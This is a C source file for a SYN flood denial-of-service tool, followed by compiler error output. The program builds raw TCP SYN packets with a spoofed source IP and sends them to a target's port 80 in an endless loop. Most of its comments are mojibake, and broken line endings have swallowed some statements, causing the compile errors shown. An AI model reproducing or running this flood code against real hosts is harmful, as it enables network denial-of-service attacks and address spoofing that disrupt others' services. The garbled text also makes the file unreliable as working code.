Language: C

#include<stdio.h>
#include<string.h> 
#include<sys/socket.h>
#include<stdlib.h> 
#include<errno.h> 
#include<netinet/tcp.h>	
#include<netinet/ip.h>	

struct Header  
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {  //隶。邂玲?鬪悟柱
	register long sum;
	unsigned short oddbyte;
	register short answer;
	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;
	return(answer);
}

int main (void)
{
	//蛻帛サコsocket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//陦ィ遉コ蛹?噪謨ー謐ョ謚・
	char datagram[4096] , source_ip[32];
	//IP螟エ
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP螟エ
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct Header psh;
	strcpy(source_ip , "211.87.227.48");
  
	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
	
	memset (datagram, 0, sizeof(datagram));
	//蝪ォ蜈?P蛹?、エ
        iph->version = 4;//迚域悽蜿キ
	iph->ihl = 5;//螟エ髟ソ蠎ヲ
	iph->tos = 0;//譛榊苅邀サ蝙具シ壽勸騾?	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        //IP蛹??髟ソ
	iph->id = htons(54321);	//譬?ッ?ャヲ
	iph->frag_off = 0;//譬?ョー
	iph->ttl = 255;//逕溷ュ俶慮髣エ
	iph->protocol = IPPROTO_TCP;//蜊剰ョョ
	iph->check = 0;	
	iph->saddr = inet_addr ( source_ip );	//貅仙慍蝮?	iph->daddr = sin.sin_addr.s_addr;//逶ョ逧?慍蝮?	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);//螟エ驛ィ譬。鬪?	
	//隶セ鄂ョCP螟エ
	tcph->source = htons (1234);//貅千ォッ蜿」
	tcph->dest = htons (80);//逶ョ逧?ォッ蜿」
	tcph->seq = 0;//蠎丞?蜿キ
	tcph->ack_seq = 0;//蠎皮ュ泌捷
	tcph->doff = 5;
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;//
	tcph->urg=0;//邏ァ諤・謨ー謐ョ蛛冗ァサ驥?	tcph->window = htons (5840);	//譛?、ァ遯怜哨螟ァ蟆?	tcph->check = 0;
	tcph->urg_ptr = 0;
	//Now the IP checksum
	psh.source_address = inet_addr( source_ip );
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);
	
	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
	tcph->check = csum( (unsigned short*) &psh , sizeof (struct Header));
	
	//蜻願ッ牙?譬クpackage荳ュ蟾イ扈丞桁蜷ォhead
	int one = 1;
	const int *val = &one;
	if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
	{
		printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
		exit(0);
	}
	
         //SYN flood :	
        printf("SYN flood\n");
        int cnt=0;
        while (1)
         {
        	//蜿鷹?蛹?		if (sendto (s,datagram,iph->tot_len,0,(struct sockaddr *) &sin,sizeof(sin))<0)	
		{
			printf ("error\n");
		}
		else
		{
			printf ("%d Packet Send to %s \n",++cnt,source_ip);
		}
	  }
	
	return 0;
}

Compiler output:
main.c: In function 'main':
main.c:57:31: error: implicit declaration of function 'inet_addr' [-Wimplicit-function-declaration]
   57 |         sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
      |                               ^~~~~~~~~
main.c:112:17: error: 'else' without a previous 'if'
  112 |                 else
      |                 ^~~~